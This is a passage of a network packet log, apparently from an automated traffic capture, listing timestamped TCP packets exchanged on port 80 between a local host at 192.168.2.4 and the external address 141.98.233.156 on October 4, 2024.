Oct 4, 2024 09:52:35.059559107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059587002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059597969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059621096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059629917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059654951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059665918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059704065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059705019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059734106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059751987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059767008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059789896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059799910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059808969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059832096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059847116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059866905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059875965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059899092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059911013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059950113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059951067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059999943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060013056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060036898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060040951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060069084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060101032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060106993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060132980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060137033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060163021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060168028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060184002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060205936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060219049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060250998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060278893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060283899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060306072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060311079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060328007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060350895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060365915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060395002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060399055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060432911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060457945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060462952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060489893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060512066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060522079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060545921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060578108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060590029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060609102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060623884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060643911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060656071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060674906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060700893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060707092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060712099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060744047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060775042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060777903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060792923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060811043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060822010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060843945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060873032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060875893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060890913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060909986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060925961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060941935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060966969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.060971975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.060987949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061001062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061018944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061033964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061045885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061069012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061096907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061100006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061117887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061132908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061139107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061165094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061197996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061198950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061222076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061230898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061243057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061261892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061288118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061294079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061311007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061326027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061331034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061358929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061387062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061392069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061415911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061423063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061450958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061455965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061469078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061487913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061515093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061521053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061542034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061553955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061604023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061635971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061650038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061667919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061681986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061700106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061712027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061733007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061744928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061764002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061794043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.061805964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061836004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.061988115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062021017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062052011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062064886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062083006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062099934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062115908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062133074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062148094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062161922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062180996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062191963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062264919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062294006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062297106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062321901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062328100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062339067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062361002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062365055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062392950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062405109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062426090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062438011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062457085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062470913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062489033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062501907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062521935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062532902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062553883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062566042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062587023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062597036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062622070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062624931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062654018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062685966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062690020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062712908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062717915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062742949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062746048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062763929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062777042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062784910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062843084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.062925100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062972069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.062998056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063004017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063026905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063035965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063043118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063075066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063107014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063124895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063138008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063155890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063169956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063189983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063200951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063218117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063234091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063263893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063266993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063293934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063301086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063313007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063333035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063359022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063364983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063381910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063409090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063431978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063465118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063477993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063494921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063505888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063528061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063538074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063563108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063572884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063595057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063601971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063627005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063640118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063659906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063672066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063692093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063702106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063726902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063734055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063760042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063771963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063792944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063802958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063827991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.063836098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.063872099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147659063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.147751093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.147769928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147783995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.147798061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147834063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147836924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.147890091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147890091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.147923946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.147934914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147970915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.147974968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148006916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148011923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148040056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148052931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148075104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148086071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148127079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148127079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148159981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148188114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148191929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148211002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148226023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148240089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148276091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148277044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148325920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148328066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148363113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148379087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148396015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148408890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148427963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148444891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148459911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148493052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148494959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148525000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148525953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148552895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148556948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148571014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148590088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148601055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148622990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148633957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148665905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148669958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148696899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148715973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148729086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148741961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148761034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148773909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148794889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.148802996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.148844957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149089098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149121046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149137974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149153948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149168968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149204016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149204969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149239063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149264097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149274111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149285078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149307013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149322033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149339914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149352074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149389982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149390936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149421930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149471045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149475098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149504900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149533033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149537086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149561882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149568081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149578094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149601936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149611950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149636984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149651051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149671078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149686098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149702072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149708033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149735928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149749041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149766922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149780989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149800062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149812937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149832964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149847031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149866104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.149877071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.149902105 CEST	80	49745	141.98.233.156	192.168.2.4
